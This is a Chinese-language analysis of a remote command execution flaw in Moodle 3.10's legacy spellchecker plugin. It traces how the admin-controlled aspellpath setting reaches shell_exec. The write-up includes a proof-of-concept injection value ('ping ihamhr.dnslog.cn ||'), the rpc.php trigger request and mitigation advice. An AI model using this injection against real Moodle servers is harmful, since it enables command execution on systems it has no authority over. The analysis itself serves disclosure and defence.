Moodle 拼写检查插件 rce 分析
字数 921 2025-08-09 15:23:13
Moodle 拼写检查插件 RCE 漏洞分析与利用
漏洞概述
Moodle 3.10 中默认的旧版拼写检查器插件存在命令执行漏洞(Remote Code Execution)。通过构造特制的 HTTP 请求,攻击者可以在服务器上执行任意命令。需要注意的是,利用此漏洞需要管理员权限。
漏洞分析
漏洞位置
漏洞位于 PSpellShell.php 文件中,具体是 shell_exec 函数的调用处。
漏洞成因
- 程序使用
shell_exec执行系统命令 - 命令参数部分可控
- 缺乏足够的输入验证和过滤
代码审计过程
- 首先全局搜索危险函数
shell_exec,发现两处调用 - 跟踪 PSpellShell.php 文件第31行的调用
- 发现
shell_exec的参数$cmd来自$this->_getCMD($lang)方法 - 分析
_getCMD()方法:private function _getCMD($lang) { $bin = $this->_config['aspellpath']; if (preg_match("#^[_-a-z]+$#i", $lang)) { if (preg_match("#win#i", php_uname())) return "$bin -a --lang=$lang --encoding=utf-8 -H < $file 2>&1"; return "cat $file | $bin -a --lang=$lang --encoding=utf-8 -H"; } } - 发现
$bin变量来自配置项aspellpath,该配置可由管理员设置
关键配置项
aspellpath 配置项位于 config-dist.php:1038 处,用于指定拼写检查插件的位置。
管理员可以通过以下URL设置此参数:
http://moodle.example.com/admin/settings.php?section=systempaths
漏洞利用
利用条件
- 拥有管理员权限
- 能够修改系统路径配置
利用步骤
-
设置恶意 aspellpath:
将aspellpath设置为包含恶意命令的值,例如:ping ihamhr.dnslog.cn || -
设置拼写检查器引擎为 PSpellShell
-
触发漏洞:
构造 POST 请求到:lib/editor/tinymce/plugins/spellchecker/rpc.php请求体:
{ "method": "getSuggestions", "params": ["1", "2"] }
最终执行的命令
根据操作系统不同,最终执行的命令会有所不同:
-
Windows 系统:
ping ihamhr.dnslog.cn || -a --lang=$lang --encoding=utf-8 -H < $file 2>&1 -
Linux 系统:
cat $file | ping ihamhr.dnslog.cn || -a --lang=$lang --encoding=utf-8 -H
漏洞验证
- 按照上述步骤设置 payload
- 设置拼写检查引擎
- 触发漏洞后检查 DNS 日志或命令执行结果
防护建议
- 升级到最新版本的 Moodle
- 对用户输入进行严格过滤和验证
- 限制管理员权限的分配
- 使用安全的函数替代
shell_exec - 对系统路径配置进行严格的权限控制
总结
此漏洞展示了配置项不当处理可能导致的安全风险,特别是在结合命令执行函数使用时。管理员应当谨慎处理系统路径配置,并对所有用户输入进行严格验证。